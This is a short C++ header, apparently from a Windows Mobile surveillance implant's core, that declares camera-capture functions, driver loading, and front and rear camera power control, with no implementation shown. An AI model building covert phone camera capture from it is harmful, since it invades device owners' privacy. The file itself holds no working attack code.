hackedteam/core-winmobile

#pragma once
#include <dshow.h>

#define PREFERRED_WIDTH 800
#define MAX_WIDTH 1024

#define CAMERA_DEFAULT_JPEG_QUALITY 40

#define MODE_STILL 1
#define MODE_CAPTURE 2

#define OUT_ERROR_EXCEPTION            -1
#define OUT_ERROR_INIT                1
#define OUT_ERROR_GRAPHBUILD        2
#define OUT_ERROR_LOADCAMDRIVER        3
#define OUT_ERROR_ADDFCAPTURE        10
#define OUT_ERROR_FILTERAUTOCONNECT    20
#define OUT_ERROR_VIDEOCAPS            30

class CPropertyBag;

INT CamGrabFrame(BSTR, DWORD);
HRESULT LoadCameraDriver(IPersistPropertyBag *pPersPropBag, CPropertyBag* PropBag, INT *iResult);
VOID SafeDownstreamRelease(IGraphBuilder* pGraphBuilder, IBaseFilter* pFilter);

class DeviceCam
{
private:
    BOOL m_bRearCam;
    BOOL m_bFrontCam;
    HANDLE hCam1;
    HANDLE hCam2;
    BOOL ReleaseCamPowerState(HANDLE* hCam);
    BOOL SetCamPowerState(HANDLE* hCam, WCHAR* wString);
    
    void CheckDeviceInfo(WCHAR* szName);

public:
    DeviceCam();
    ~DeviceCam();
    BOOL ReleaseCam1PowerState();
    BOOL ReleaseCam2PowerState();
    BOOL SetCam1PowerState();
    BOOL SetCam2PowerState();

    void FindCamera(WCHAR* wCamName);
    BOOL IsRearCamPresent() { return m_bRearCam; }
    BOOL IsFrontCamPresent() { return m_bFrontCam; }
    VOID DisableFrontCam() { m_bFrontCam = FALSE; }
    VOID DisableRearCam() { m_bRearCam = FALSE; }

    VOID SetRegPowerStatus(wstring camName);
};